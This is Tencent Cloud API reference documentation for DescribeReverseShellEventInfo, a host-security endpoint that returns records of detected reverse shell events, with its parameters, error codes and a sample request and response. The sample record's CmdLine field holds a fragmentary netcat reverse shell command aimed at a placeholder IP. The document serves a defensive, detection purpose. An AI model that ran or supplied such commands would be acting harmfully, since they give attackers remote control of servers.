tencent cloud

Feedback

DescribeReverseShellEventInfo

Last updated: 2024-12-06 15:39:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query reverse shell details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name Required Type Description
Action Yes String Common Params. The value used for this API: DescribeReverseShellEventInfo.
Version Yes String Common Params. The value used for this API: 2018-02-28.
Region No String Common Params. This parameter is not required.
Id Yes Integer Event ID

3. Output Parameters

Parameter Name Type Description
ReverseShellEventInfo ReverseShellEventInfo Reverse shell details
Note: This field may return null, indicating that no valid values can be obtained.
RequestId String The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 查询反弹shell详情

Input Example

POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeReverseShellEventInfo
<common request parameters>

{
    "Id": 12
}

Output Example

{
    "Response": {
        "ReverseShellEventInfo": {
            "Id": 10001,
            "Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
            "Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
            "HostIp": "1.1.1.1",
            "DstIp": "10.0.1.92",
            "DstPort": 0,
            "ProcessName": "mkfifo",
            "FullPath": "/usr/bin/mkfifo",
            "CmdLine": "mkfifo /tmp/pipe nc 1.1.1.1 1234",
            "UserName": "0",
            "UserGroup": "0",
            "ParentProcName": "nginx",
            "ParentProcUser": "0",
            "ParentProcGroup": "root",
            "ParentProcPath": "nginx",
            "PsTree": "[{\"pid\":\"1\"}]",
            "Status": 0,
            "CreateTime": "2024-09-27 15:43:56",
            "ModifyTime": "2024-09-27 15:44:32",
            "MachineName": "机器名称",
            "DetectBy": 1,
            "MachineWanIp": "1.1.1.1",
            "SuggestScheme": "1、检查系统是否存在异常的网络连接;\n2、隔离或者删除相关的木马文件;xa0\n3、对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\n【Linux】https://www.tencentcloud.com/document/product/296/9604?from_cn_redirect=1xa0\n【Windows】https://www.tencentcloud.com/document/product/296/9605?from_cn_redirect=1",
            "HarmDescribe": "黑客在入侵服务器后,为了进行下一步的恶意操作,会让受害主机创建一个交互式shell并连接黑客的远程控制服务器,黑客通过建立的通道,可以向受害主机发送指令并获得执行结果。",
            "Tags": [],
            "References": [],
            "MachineStatus": "ONLINE"
        },
        "RequestId": "db8fd5e1-6d57-405b-9f57-9d6d0589bdc8"
    }
}

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

Command Line Interface

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code Description
InternalError Internal error
InternalError.MainDBFail Failed to manipulate the data.
InvalidParameter Incorrect parameter.
InvalidParameter.InvalidFormat Incorrect parameter format.
InvalidParameter.MissingParameter Missing parameter.
InvalidParameter.ParsingError Incorrect parameter parsing.
InvalidParameterValue Invalid parameter value.
MissingParameter Missing parameter error.
ResourceNotFound The resource does not exist.
ResourceNotFound.MachineNotFound The scanning machine does not exist.
ResourceUnavailable The resource is not available.